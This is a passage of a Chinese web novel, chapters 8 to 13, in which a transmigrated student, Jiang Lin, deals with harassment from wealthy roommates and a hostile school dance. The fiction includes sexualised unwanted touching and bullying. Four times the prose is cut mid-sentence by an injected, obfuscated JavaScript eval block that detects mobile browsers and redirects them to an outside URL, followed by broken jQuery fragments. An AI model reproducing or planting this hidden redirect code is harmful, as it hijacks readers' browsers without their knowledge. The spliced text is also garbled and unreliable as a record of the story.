“上次他抢了我家一个项目,妈的,我气不过让人揍了他一顿。”李炎诞道出恩怨。 秦锐清蹙眉,声音冷然:“那你不算冤。” “啧,老秦你到底向着谁。”李炎诞不满地说道。 “实事求是。”秦锐清说。 “好啦,傅清池家......也不是好惹的。”崔嘉树念了念这个名字,眼底滑过一丝笑意,“但是也不是完全没办法。” 李炎诞双眼都亮了,催促崔嘉树赶紧说主意,但崔嘉树只是说还没想好,晚上再告诉他。 “小炎,要不住我那去?”三人小团体开完会,崔嘉树邀请道。 李炎诞拒绝了:“我去你那儿,你要办什么事多不方便,我爷爷知道了,又要去找你家老爷子吵,我住学校蛮好的。” “而且......孟南星,你欢不欢迎你炎哥回宿舍住啊?”李炎诞话锋一转,他突然提问江林。 江林唇角抽搐,歪头看向三双神色各异的眼,柔软发丝垂落,笑了一下:“很欢迎。” 8. 第8章 8.三人结伴离开,江林耳边终于清净了,虽然崔嘉树临走前还问他要不要和他们一起去玩儿,江林以兼职为借口委婉拒绝。 至于三人口中傅清池,江林也有些印象,金海市曾经傅家才是商政两界的老大,不过后来却被崔、李、秦三家后来居上,书中也明确提了一嘴,傅清池和另外三家是死对头。 甚至傅家之所以落魄,其中少不了这三家的推手,金海市的饼只有这么大,人人都想瓜分仨瓜俩枣的,总要有人让利。 毕竟瘦死的骆驼比马大,傅清池依旧是金海市炙手可热的人物,剧情中傅清池曾经在三人和原主打得火热的时候,私底下联系过原主,花重金想要收买他。 也许连傅清池也认为那三人对原主是不一样的。 结果当然是原主坚持真爱无敌,直接拒绝了傅清池的“好意”,之后傅清池就很少出现在剧情中了。 21:23:09 下午刚换好的指纹开锁门叮的一声响起,李炎诞脸颊两侧泛着醉红,双眼清明,无半分醉意,身上泛着酒气。 他脸色不善地走进宿舍,这比平时他家厕所都小的宿舍实在让他生不出好心情,白炽灯明亮,坐在椅子上的少年正在擦头发。 他刚从浴室出来,脸颊粉红水嫩,修长白皙脖颈还浮着一层晶莹的水光,穿着一套幼稚的蓝色小熊睡衣,短衣短裤。 江林的一只腿微微弯着踩在凳子上,膝盖露出一点粉色,身体肌肤太敏感,随便轻轻一搓就是一道红痕,瞧着让人浮想联翩。 清瘦的脚踝轻轻紧绷着,小腿肌肉流畅又漂亮,不是瘦骨如柴的感觉,带着些肉感,腿肉挤压在凳面上,揉起来很软的模样,看得李炎诞喉咙都发紧了。 江林回头看了他一眼,没察觉到李炎诞正直勾勾地盯着自己的腿看,例行公事地打招呼,防止李炎诞第一天就找茬。 “炎哥。”江林声线清朗,莫名有股冷感,嘴上喊着哥,但像是在骂他傻逼。 李炎诞挑眉,关上门走近两步,就闻到了一股香味,带着潮湿的水汽,糊住口鼻,沁人心脾,他忍不住拧眉:“不是,孟南星,你是喷香水了吗?” 江林莫名其妙,闻了闻手腕,实在没有闻到什么李炎诞说的香味。他专心地擦头发,半干之后蹲下身在柜子里拿吹风机,解释道:“可能是洗发水或者沐浴乳的香味。” “你喜欢的话,可以试试看,很便宜。” 李炎诞不屑一顾,“你觉得我会喜欢这种劣质的香味?” 江林没接话,打开吹风机吹头发,发梢落在他脸侧肌肤上,黑发在后颈处沉淀着墨泽,那处漂亮纤细的脖颈,盈盈一握,像是能随手扯断的柳枝。 李炎诞感觉身上热了起来,手指也有些痒的虚虚握了握。 “啧。”李炎诞抓了抓头发,只觉得这个宿舍地方小就是差,呼吸都不太通畅,要和江林这样的人共住一个空间真的难以忍受啊。 江林吹头发的手,微微一顿,他表情怔愣了一瞬,然后恢复了正常。 一个两个的,都说他身上香。 他想起剧情中原主身上带着致命吸引的香味buff,每个天龙人见到他都能闻到他身上旁人闻不到的香味。 所以......这个香味他身上也有? 江林有些烦,莫名其妙的香味,像是在他身上加注的砝码,让那群人更容易地缠上他。 但这些香味并不是爱情的标志,只是成为玩物的一个情趣。 没有人会因为香味喜欢上一个人,可是会有人猎奇去搞一个身上带着香味的男人,而且还是一个没钱没势的穷小子。 李炎诞从浴室出来,穿着真丝浴袍,毫无素质地在宿舍抽烟,空间狭窄,眼前的活物只有一个,他的视线又重新落在了江林身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732766|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江林拿保温杯喝热水,随手撩了撩凌乱的刘海,露出光洁的额头,李炎诞的视线如同有了实质,像是滚烫的烙印落在江林身上。 他浑身别扭,装作毫无察觉的样子,安静喝水。 李炎诞洗完澡,身上的热意也没褪去几分,v领浴袍,露出精壮流畅的肌肉,胸肌微鼓,健身效果显而易见,他慢悠悠地开口:“你之前怎么想的,居然在外面骂我?” 他做出一派深夜谈心的模样。 江林抿了抿唇,水艳饱满的唇微微抿起,看向李炎诞的视线有些害怕又坚强,他自知理亏,但梗着脖子说:“我没想说你坏话,那些话不是我说的,我只说过你看起来不太好相处......” “你觉得我哪儿不好相处了?”李炎诞就是听不得真话的主,他朝着江林招招手。 “你过来。” 江林面露犹豫,坐着没动,李炎诞加重了语气:“你不会以为我现在拿你没办法了吧?” 江林无可奈何般的站起来,走到李炎诞身侧,被拽着胳膊拉了下来,后颈被李炎诞握住,压低了脑袋对上他的视线。 李炎诞手指摩挲着他颈侧的肌肤,像是把玩着某种细腻的羊脂玉,扔掉了手中的烟,捏了捏他的脸,扯着唇角冷笑:“以后我让你过来,你记得马上滚过来,懂吗?” 江林脸颊被捏,绷着一张脸,应着:“知道了。” 见他乖巧服软,李炎诞眼角眉梢浮现出满意的笑意,目光掠过他的唇,泛着潋滟水光,他下一秒,手指抚摸上他的唇瓣...... 江林下意识含了一下他的指节,然后有些嫌弃吐出,服软的脸上出现一点锋芒和僵硬,语气很淡:“炎哥,你觉得摸男人的嘴唇,对着男人的嘴唇流口水,是直男会做的吗?” 他加重了直男两个字音。 李炎诞的表情肉眼可见的僵住了。 9. 第9章 9.江林的话等于将遮羞布毫无保留地掀开,从小到大坚信自己是直男的李炎诞,从未怀疑过自己的性取向。 他从小对男人没感觉,相反年纪小的时候,看某些带颜色的男女片子才会有感觉。 但是......他手还按在江林后颈,探入他唇齿间的手指残留着潮湿柔软的感觉,从指头窜起来的痒意,让人想探寻他嘴里有什么了不得的东西这么勾人。 江林的话却像是当头一棒砸在他脑袋上,吓得他触电般收回了手,瞪大了双眼看着眼前紧绷着唇角的少年。 “你......你在说什么鬼东西?”李炎诞脸上难得出现惊恐之色,恐同人设屹立不倒呢。 “没什么,炎哥听错了。”江林没有继续给他刺激,害怕他破罐破摔,真的成了同性恋。 李炎诞脸色有些发沉,他确定自己的耳朵没有问题,也没有听错,刚刚江林说了他对着男人的嘴唇流口水。 想到这,他的喉结滚动了一瞬,真的咽了口口水。 江林没管他心中多纠结,爬上床睡觉,巧的是李炎诞的床和江林的是连在一起的,都有窗帘遮挡。 也难怪李炎诞这些富二代但凡有些小钱在身上的,都会搬出去住,这居住环境的确太差了。 江林戴上耳机和眼罩,安静地平躺在床上,安详地将手放在自己腹部,没两分钟便睡着了。 李炎诞坐在桌前玩手机,回复消息都心不在焉地。 嘉树:【怎么样?小炎在宿舍住得还习惯吗?要不要搬出来?】 炎哥:【不用,习惯得很。】 嘉树:【那就好,晚安好梦。】 李炎诞思绪飘得有些远,他忍不住去想那混乱的一晚,江林到底是怎么帮他的,他完全想不起来。 当时他有觉得恶心吗? 还是很爽?或者他......亲了他的嘴吗? 这些问题都毫无印象,这让李炎诞觉得有些懊恼。 同时又觉得江林这人假清高,两人明明都做过那么多‘亲密’举动了,不该对他好一点吗? 如果江林主动提起两人互帮互助一下,他想自己应该也不会拒绝吧,都互相帮助过了不是吗?装什么? 而且两个男生之间,这样做好像很正常吧。 他听崔嘉树说过的。 是正常的。 李炎诞几乎一夜没睡,浑浑噩噩的脑袋,一会儿清醒,一会儿又像是做梦似的回忆起那晚好像自己抱着少年亲了他的脖子...... 当他的手顺着衣摆探入的时候,宿舍传来轻响,是浴室关门的声音,李炎诞猛地惊醒,发现才六点十分。 江林洗了一把脸,换好运动服,准备去跑步,便看见李炎诞猛地把窗帘拉开,一双阴沉沉的眼死死地瞪着他。 “我吵醒你了吗?”江林试探的问了一句。 “你说呢。”李炎诞语气阴沉。 “抱歉。”江林说。 李炎诞没为难他,江林顺利晨跑完,去食堂买了小米粥和花卷,在食堂吃完花卷,端着小米粥往宿舍走。 江林脑海中很多计划闪烁,该怎么摆脱这三个神经病,但思来想去,还真没有万无一失的法子。 想让他们三人内斗,但明显他们的脑回路不是正常人,当初三个人玩一个,现在谁能保证结果不会重演。 江林虽然没正儿八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732767|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经地谈过恋爱,可还是见过猪跑的,真的爱人哪能共享,是希望爱人眼神只停留在自己身上的疯狂占有欲才对。 归根究底,想要这群薄凉利己主义的主角爱上自己,想让他们狗咬狗没那么容易。 而且非常危险。 江林慢悠悠回到宿舍,刚好七点十分,李炎诞正巧洗漱完从浴室出来,看见少年手上的小米粥,找茬道:“没给我带早餐吗?” “啊?”江林没想到自己现在还有这种责任? “忘记了,只有半杯小米粥了,你要吃吗?”江林穿着黑色运动套装,黑白分明的杏眼看着他,说话轻又淡。 “你在打发叫花子吗?”李炎诞拧着眉,表情又难看了,他像个随时可能爆炸的炸/弹。 “那明天给你买,可以吗?”江林神情有些无奈,仿佛无力继续和他争辩而选择妥协的无奈感。 “行,我要吃贵的。”李炎诞知道江林穷故意这么说道。 他会选择回宿舍,有一个原因就是要折腾江林,身为他的小弟,给他带点早餐怎么了? “......好吧。”江林有些闷闷不乐,看起来很心疼,他拿了毛巾去浴室洗澡。 李炎诞拿起手机在三人小群里吐槽。 炎哥:【我靠,刚刚孟南星拿吃剩下的小米粥给我喝,我操,他什么意思啊。】 炎哥:【妈的,吸管上都是他的口水,谁要喝啊?】 老秦:【...】 嘉树:【他爱你。】 炎哥:【你要吓死我?】 ...... 江林不知道三人聊了什么,只知道自己辣么大一杯黄灿灿的小米粥不见了。 10. 第10章 10.李炎诞喝粥喝的毫无心理障碍,首先这是江林主动说要给他的,其次他的确没喝过这么便宜粗糙的东西,最后......真的蛮难喝的。 江林晚上要去给秦朗补课,下完课便直接坐地铁去了华南宫府,下课比较早,他不着急,慢悠悠地从地铁口走过去,路过花丛的时候,听见很细微的一声猫叫。 他脚步一顿,转身朝着花坛看去,视线从翠绿的枝叶上掠过,盘根交错的花枝底下,一只小白猫正睁着一双蔚蓝的猫眼看着他,嗷呜嗷呜叫着。 江林自认为不是什么心软的人,但像小猫这种可怜又伤害性可以忽略不计的生物,还是让他生出了些恻隐之心。 他蹲下身,捡起一片绿色树叶,朝着小猫挥了挥树叶,试探性地说道:“咪咪?” 所有小猫似乎都对咪咪这个称呼有反应,叫唤的声音越发大了。 江林拿着一片叶子逗它,想让小猫主动从花坛中爬出来。 “停下。”秦锐清瞥见一抹熟悉的身影,开口道。 在初冬之际,昼短夜长,六点左右天已经黑沉沉地压了下来,华南街道上没多少人,一道清瘦高挑的身影蹲在路边,他灰色卫衣脱下,包裹着一只灰扑扑的小白猫,自己穿着单薄的白色短袖,手臂劲瘦。 少年嘴唇弯着淡淡的笑意,眉眼噙着温暖又明媚的暖光,小猫也正看着他,张嘴叫嚷着,人猫对视,瞧着挺和谐。 秦锐清眯了眯眼,想到今天李炎诞在微信群里的脑残发言,表情越发冷漠,虽然他觉得李炎诞是个傻的,但不排除江林的确有示好的行为。 所以江林的目的只是仅仅傍上有钱人就行?李炎诞那个暴躁没脑子的也行? 那江林的眼光真的不怎么样。 江林准备先将小猫送到宠物医院,身后传来喇叭声,那黑色的迈巴赫,流畅的车身和怀里的小白猫比像只黑色的豹子。 司机下车,替他开门。 江林站在门口没动,目光落在穿着正式西装的男人身上,看不见秦锐清的脸,但笔直的西裤,手腕上价值不菲的腕表,浑身充满了奢华冷峻的气息。 “秦哥。”江林利落地喊着,毫无心理压力,礼貌客气地说着:“小猫太脏,我就不上车了。” 话刚说完,迎面吹来一阵冷寒的夜风,那凉意像是从骨头缝里钻进身体里,江林的身体条件反射地打了寒颤,抱紧了自己怀里的小猫。 “上车。”秦锐清说话简短。 江林觉得站在冷风中的确不是一个明智的决定,客气一下就钻进了车里。 “谢谢秦哥,你真是个好人。”江林笑眯眯地说道。 秦锐清抬眼扫了他一眼,怀里小猫很脏,眼睛有眼屎不说,鼻头上还不知道有什么脏东西糊住,黑乎乎的,怪恶心的。 也只有江林爱心泛滥的人才能毫无顾忌地抱着它。 小猫不懂气氛的奇怪,还在轻声喵叫着,软软的。 “你准备养它?”秦锐清眉头稍稍一蹙,提醒道:“李炎诞有鼻炎。” “准备先带它去医院检查一下,然后给它找个好心人吧,我自己都养不活,承担不了一个小生命。”江林没打算养,他没有固定的住址,没有稳定的工作,并不能对小猫负责。 上次崔嘉树给的一万块钱还没用完呢,检查费用还是出得起的。 “但你今晚要给秦朗补课。”秦锐清没多少同理心,这人心肠冷,就算看见人饿死在自己面前都能袖手旁观,更别说只是一只猫了。 江林面上似乎有些为难,车内温暖的气息让他手臂回温,身旁的男同学穿得像个精英商务男士,而他还是一个不谙世事的大学生。他眨眨眼,试探地问道:“不知道......秦哥愿不愿意帮忙先照顾一下小猫,不是免费照顾,我可以出钱的......” 秦锐清凤眼狭长,面无表情:“多少钱?” 他一副在商言商的姿态。 江林舔了舔唇,问:“20?” 见秦锐清冷淡的眼神望过来,带着明晃晃的嘲讽,江林改口道:“30?小猫检查费用我可以出,哥只要帮忙带去医院......35,秦哥真的不能再多了。” 35已经是江林的极限了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732768|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 再多就属于抢劫的范畴了。 秦锐清冷嗤一声:“那晚你和李炎诞发生了什么?” 这个话题跳转得太快,让江林猝不及防,表情有些蒙圈,然后装傻:“秦哥说的是哪一晚?” “在郊外酒店那一晚。”秦锐清黑眸沉沉,虽然面冷,但眼神却戾,“你好像更相信李炎诞。” 秦锐清原本只是看江林可怜,便大发慈悲地允许他跟着自己,结果一转眼,他就选择了李炎诞。 这让他有些难以接受。 他和李炎诞、崔嘉树年纪相仿,家世相当,豪门子弟之间,哪里来的纯友谊,更多地相互比较,相互追赶,甚至相互看笑话。 江林选择李炎诞的行为,让秦锐清难以理解,毕竟从小到大秦锐清只在蛮力上输过李炎诞,其他的都是碾压式胜利。 “不是......”江林耳朵有些红了,眼神闪烁了两下,语气含糊,支支吾吾地说道:“不是选择谁,是没有办法......炎哥他中药了。” 秦锐清蹙了蹙眉,那晚他在应付傅清池,还真没注意到这些状况,只是从崔嘉树嘴中听见了只言片语。 “你被李炎诞睡了?” 江林抿唇,从耳根开始,半边脸颊都烧红,圆润的狗狗眼有些羞赧,“没睡,只是帮炎哥解决了一下。” 秦锐清见他脸红,嘴唇饱满红润,还在不住地舔舐,嘴唇更润了,脑海里闪过这张嘴那天吃腊肠的场景,小小的根本吃不下多少饭菜,拧眉说:“用嘴了?” 他说出这句话,带着浓重的厌恶,他觉得这种行为很脏,甚至如果江林再在家里吃饭,他会把筷子都扔掉,让江林马上滚下车。 江林似乎觉得冒犯又害羞,直视秦锐清的双眼,表情严肃:“这是我的隐私,我没必要和你交代的。” 秦锐清阴沉着脸,下一秒就要让司机停车了。 “虽然我并没有这样。” 秦锐清的冷冽的心情,有了些许缓和。 还好,江林的眼神没有这么差。 李炎诞除了一身蛮力,有什么好的? 11. 第11章 11.两人聊几句话的工夫,车驶入了车库,江林抱着小猫下车,秦锐清看了一眼他手中的猫,低声喊了一句:“老李。” 司机老李跟了秦锐清好几年,早知道秦少爷的意思,从江林手上接过猫,还友好地笑了笑。 乘坐电梯的人只剩下江林和秦锐清,江林手指抠着书包肩带,头微微低着,视线落在秦锐清程亮的皮鞋上,似乎能从上面瞧见自己走神的倒影。 秦锐清、崔嘉树、李炎诞,这三人中,只有李炎诞的是属于家庭幸福美满,家族三代单传,毋庸置疑的继承人。 作者也许为了人设的弧光,人物不趋于扁平,所以崔嘉树和秦锐清的家庭都有些可以让人说道的点。 比如说,秦锐清的生母早亡,继母生下的私生女中甚至比秦锐清的年纪更大,而秦朗是继母的第二个孩子,现在继母肚子里还怀着一个秦父的崽。 秦锐清生母的家族欧阳家曾经显赫一时,现在从黑转白,受到不少人的制裁和打压,风头早就不如从前。 而秦家如日中天,好在秦锐清争气,从十六岁开始就跟在秦父身边处理家族和公司事宜,从未出过纰漏,瞧着冷心冷情,但出手一向心狠手辣,他继姐瞎了一只眼远差点终身残废嫁给国外的五十岁珠宝大亨,就是他一手策划的。 让秦梓刃(秦父)手下无人,只能尽心尽力培养他这个继承人。 这人最讨厌的就是被人忽视,所以才会对于那晚江林不辞而别的事情耿耿于怀。 江林从记忆中翻找出记忆,曾经十岁大的秦锐清有过一只小狗,就像很多小说剧情中的主角一样,他的小狗被恶毒继姐煮了,甚至他在自己毫不知情的情况下吃下了心爱小狗的狗肉。 这让秦锐清记恨了继姐十几年,下手的时候毫不留情。 其实秦锐清小时候还是热爱小动物的心软男孩呢。 “你打算在电梯过夜吗?”秦锐清的声音打断了江林的思索。 他整个人看起来呆呆的。 江林抬眼看见冷面的秦锐清,连忙抬脚走出去,便瞧见女管家低声朝着秦锐清解释道:“大少爷,小少爷他今天生病了,可能没办法继续上课。” 江林微微抬眼,他来之前没收到通知说不上课啊。 “生病?”秦锐清冷睨了一眼心虚的女管家,起身朝着楼上走去。 十分钟后,哭哭啼啼的秦朗像个小鸡仔似的被秦锐清拎了下来。 本来是装病想要逃课,但没想到秦锐清这个瘟神今天又来了,导致他装病失败,被狠狠揍了一顿。 “闭嘴。”秦锐清冷声道。 秦朗抽噎得声音都发颤,小身板一抖一抖的,任谁瞧了他这个可怜样,都要批判一句秦锐清太过于严苛。 江林眼观鼻鼻观心,只当作没看见这桩惨案,只是尽职尽责地当一个家教老师,没管秦朗的惨状。 秦锐清上楼了,秦朗才呼出一口气,抽抽嗒嗒地问:“老师,你有没有觉得秦锐清真的很过分?” “嗯嗯。”江林敷衍地点头,“这道题目错了,这种解题思路是对的,但是......” 秦朗:...... 秦朗有些生气没有拉到同盟,将笔一摔,嘀咕道:“你这个胆小鬼!我不要你当我的老师!” “秦哥——”江林提高声音喊了一句,秦朗顿时老实了。 他拉住江林的手腕,表情可怜求饶:“我错了,我错了,你别告状呜呜。” 江林微微一笑,小眼圆圆:“好的。” ... 江林继续留在秦家吃饭,秦锐清坐主桌,已经洗完澡,头发蓬松,穿着白色睡衣,少了些许冷冽之感。 饭桌上只有秦朗的情绪最为丰盈,他的天塌了! 秦锐清居然要在这里睡觉!过夜! 看起来还一副想要长住的样子! 秦朗的眼泪都已经滴到了饭菜里,尝尽了苦涩的味道。 晚饭后,江林斟酌了一下语言,面露犹豫,叫住了要上楼休息的秦锐清:“秦哥,那个小猫......” “消费记录我会转给你。”秦锐清说话堵死了江林的话。 江林:...... “哦,那我们加个联系方式吧。”江林可以方便赚钱了解小猫。 其实在入学的时候就该加舍友的联系方式的,只是那时候江林自命清高,不想去捧那些恶臭富二代的臭脚,才会没加上。 秦锐清没有拒绝,看着他像块板砖似的智能手机,不知道是什么老掉牙的版本,江林的微信头像是个卡通人物,小熊玩偶盖着被子横躺的模样。 微信名字是星星,就是原主名字的简称。 至于秦锐清的头像和名字江林没注意看,改了个备注——舍友秦锐清。 只是简单地加了一个联系方式,江林道了谢,就准备走了,根 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当他知道江林是居然选择了李炎诞,而忽视了他,那骨子里的优越感就会抓心挠肝地想要知道江林为什么不选择自己。 但以上这些,也只是仅仅引起秦锐清的兴趣而已,并不是对江林多在意。 就像是一个看起来平平无奇的人,当有人争相抢夺时,其他旁观的人也想知道这人到底有什么魅力。 江林站定,转身看向秦锐清,白白净净的小脸,不戴眼镜后,让人第一眼便能注意到他那双颇为圆润漆黑的眼,眼波澄澈,无辜又漂亮,很难让人生出防备的想法。 “秦哥?” 秦锐清眼神锐利,看向他露在外面的手臂,表情很冷,扯不出笑脸,只是淡淡道:“我的外套在沙发上,你穿上,我让司机送你去看小猫。” 江林想说不用,但秦锐清警告地看着他,他胆小怕事,只能摊手,“好吧,谢谢秦哥。” 江林定制西装外套,搭配地毯牛仔裤,不伦不类的感觉硬是让江林这张脸和身材,穿出了一种休闲商务风的感觉。 身上的外套有一股男士香水的味道,不算难闻浓郁,和秦锐清的感觉很像,冷冽清冷。 秦锐清直到江林的背影离开,才收回视线,眼帘微垂,那外套穿在江林身上甚至有些显大,裹住了他的身躯。 12.第12章 12.江林看了小猫,给洗干净的小猫拍了视频,发了美美的朋友圈,给小猫尽心尽力找领养人。 从十一月到十二月,江林避其锋芒,倒是没和李炎诞发生过多的摩擦,李炎诞也觉得找一个软柿子反复捏没什么意思,没再做一些无趣的事儿。 十二月二十三号,也就是平安夜前一天,是商学院交友舞会。 交友舞会是商学院的传统,很受学生和老师们的重视,各个学院也会派代表出席,而通常商学院的学生都必须要全部参加。 江林知道这回事,原剧情中原主会苦练舞蹈一个多月,只为了在舞会上能够一鸣惊人,不受人白眼。 可事与愿违,原主虽然练会了舞蹈,但骨子里的自卑心思和神态,在灯光下局促不安、畏手畏脚,在一群白天鹅中,灰色羽毛的丑小鸭无处遁形。 原主在这个时间段已经和李炎诞纠葛颇深,两人白天上课像陌生人,晚上在寝室里搞得昏天暗地,寝室的避孕套都是一箱一箱囤的。 因为原主和李炎诞这个传说中的风云人物走得近,自然会引起风云人物的马仔不满。 在这次舞会上,李炎诞的爱慕者就会对他进行宛如流水线般的刁难,故意泼红酒在他衣服上,在更衣室给他难堪,又推他进游泳池。 这十来度的天气,将原主冻得嘴唇发紫,不会游泳差点在游泳池溺死、冻死。 最后是崔嘉树从天而降,不惧严寒从泳池中将原主救了回来,还当众宣布,原主是他的好兄弟,将人纳入自己的羽翼之中。 原主抓着他的手腕感恩戴德,满心满眼地感谢,一直记着崔嘉树的救命之恩,理所当然地答应了他许多无礼且色.情的请求。 寝室中只有江林一个人,他套上从学院借来的白色燕尾服,胸口还带着一个蓝色花环胸针。全身镜中的少年,身材板正高挑,头发剪过,露出白皙的耳尖,黑色瞳孔中没什么情绪,带着淡淡的厌世感,像是对接下来发生的事情毫无期待感。 江林甚至觉得促成这一切的推手可能就是崔嘉树,崔嘉树是南大商学院学生会主席,一手操办舞会,那些人在他眼皮子底下玩手段,他不可能毫无察觉。 大概只是想以救世主的姿态,携恩相报。 窗外的天空印着橙色的晚霞,彩霞落在江林微微凸出玲珑的锁骨上,昏黄的光像是要努力温暖这冷白的肌肤。江林低头试了试白色的手套,骨节分明的手指被套住,束缚感显得更加禁欲,他的皮鞋也是借的,偏大,里面还塞了一点纸团。 他轻轻呼出一口气,在和指导老师请假失败后,江林便一直不太高兴,实在不愿意陪一群富家少爷玩酒水游戏。 南大是南方大学里出了名的富,而南大商学院又是南大里面独树一帜的贵,可以说商学院这群学生,是贵中之重。 江林腰上贴了好几个暖宝宝,才敢走出温暖的寝室,他邀请了赵云月,就像剧情中原有的情节一般,赵云月礼貌拒绝了江林,选择了更有面儿的舞伴。 原本这个邀请剧情会被李炎诞发现,彼时李炎诞很不爽,觉得江林跟了他还三心二意喜欢别人,所以才会放任其他人欺负原主,想要给他一点教训来着。 江林撇了撇嘴,不得不说,李炎诞报复人的手段非常地像小学生,简单粗暴又白痴。 他裹紧自己外套,加快脚步往宴会厅走去。 商学院学生出资建造的宴会厅,专门提供娱乐场所的,就修建在南大旁边,十几层的高楼,各层都有娱乐的设施,台球、射击、牌桌、运动场......甚至还有医院。 江林直往温暖的会场钻,坐在某个长桌角落,端起碟子,像个忙碌采蜜的蜜蜂,又在各种食物前,仿佛在高级一点的流水席吃席。 旁边的学生在社交喝酒,江林在狂吃,特意没吃午饭,就是为了蹭这一顿晚餐。 “小星。”江林喝了一口果汁,满足地眯了眯眼,柔软的头发都散发出一种懒散的意味,导致他差点没意识到这个小星是在叫自己。 “嗯?”江林往出声处看去,便瞧见赵云月正微笑着看着他,他放下手中的美食,“小月。” “你好像一直在吃东西。”赵云月正挽着男人的手臂,失笑道。 江林视线落在两人交错在一起的手臂上,眼神表现得有些失落,明亮闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13739086|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眸子像是瞬间灰败下来。 他表演着一个尽职尽责的爱慕者。 赵云月见状唇角微微勾起,被江林这样长相帅气的男人喜欢,本身就是一件值得炫耀的事情。 “孟同学,要一起去玩吗?”赵云月的男伴吉阳罗似笑非笑的看着江林。 “我就不打扰了吧......”江林低着头。 “不会打扰,嘉树哥也在那边呢,我想云月应该也很想和你一起玩游戏吧。”吉阳罗热起劝道,眼中的不怀好意几乎溢出来了,他扫了一眼赵云月。 赵云月脸上笑容一僵,手指缓缓捏紧,勉强开口道:“是啊,小星一起去玩吧。” “好吧。”江林再拒绝就显得生硬了。 电梯径直来到了十九层,顶层。 赵云月的神情有些焦躁不安起来,之前的骄傲之色尽数散去,脸皮紧绷,浑身都开始冒冷汗了。 江林扫过她捏紧的拳头,目光淡淡,顶楼代表着什么,原主比谁都知道。 南大商学院的贫困生,在这群富二代眼中就是供人赏玩的物件,这里的一切都是靠他们家族的钱财堆砌的,很多名师都是拿钱砸出来,而这些贫困生拿着高额的奖学金,蹭着他们的资源,自然也要付出代价。 说白了,只有这些没钱没势的贫困生欺负起来毫无反抗之力罢了。 电梯停下,像是打开了潘多拉魔盒,与楼下完全不同的两个世界,顶楼是毫不遮掩的奢靡,镶嵌在墙壁上的珠宝名画,金灿灿的光几乎刺得江林双眼生疼。 也不能全怪孟南星识人不清,就像有人将一条登天的捷径摆在你面前,很难有人能拒绝诱惑。 吉阳罗扫了一眼身后的少年,他穿着一身粗糙劣质的白色燕尾服,他还以为能瞧见这人脸上的震惊和自卑之色,没想到他并未出现任何的丑态。 相反,他像个打扮得体的小王子,双眼沉静黝黑,对上他的视线时,丝毫没露怯,甚至缓缓地朝着他扯出一个微笑,俊秀的脸庞带着恬静的温柔感。 不是挑衅的意味,更像是一种坦荡的展示。 他似乎对接下来发生的事情毫无期待。 13.第13章 13.黎环大厦顶楼的装潢,就像是在眼前缓缓展开的奢靡油画,金碧辉煌的墙壁,侍从引着三人去了走廊的尽头,烫金色大门紧闭,巨大的门锁被轻而易举地打开。 给人一种能够轻易拿到豪门入场券的感觉。 江林视线逐渐变得开阔,入眼瞧见了很多熟悉的人,大多同学们他们都一起上过课,此刻他们丝毫褪去了学生的懵懂青春的气质,眉眼间物/欲/横/流,穿着得体的正装,脸上带着成年人的虚伪笑容。 随着大门逐渐打开,有人慢慢转过身来,在江林的目光中,阴影一点点落在他们脸上,第一时间甚至看不出他们的面貌,仿佛一个个黑白灰的人物。 直到他听见一声求饶声。 江林循声看去,看见某些穿着明显比较清凉的女生和男生,他们穿着特制的制服,露出清瘦的锁骨,修长的大腿,偏窄的制服勾勒出性感的身材,脖子上统一系着红绳铃铛,犹如圣诞礼物般。 再过一天就是圣诞节,倒也算是符合主题了。 长着娃娃脸的男生脸上带着眼泪,身上的白色衬衣被红色、黄色的酒水打湿,头发都湿漉漉的,应该是被从头到脚都淋了一个遍,他跪在地上,揪着男人的裤脚,不停地道歉。 江林看见这幕很漠然,毕竟经历了太多世界,看多了人情冷暖世态炎凉,踩低捧高乃是最正常的事儿。 他应该漠视这些,这是这个学校或者说这个社会的规则和常态,也许跪在地上的男生,出了这扇门会得到寻常人碌碌无为一生都在追求的车、房、钱。 但规则,却不一定正确。 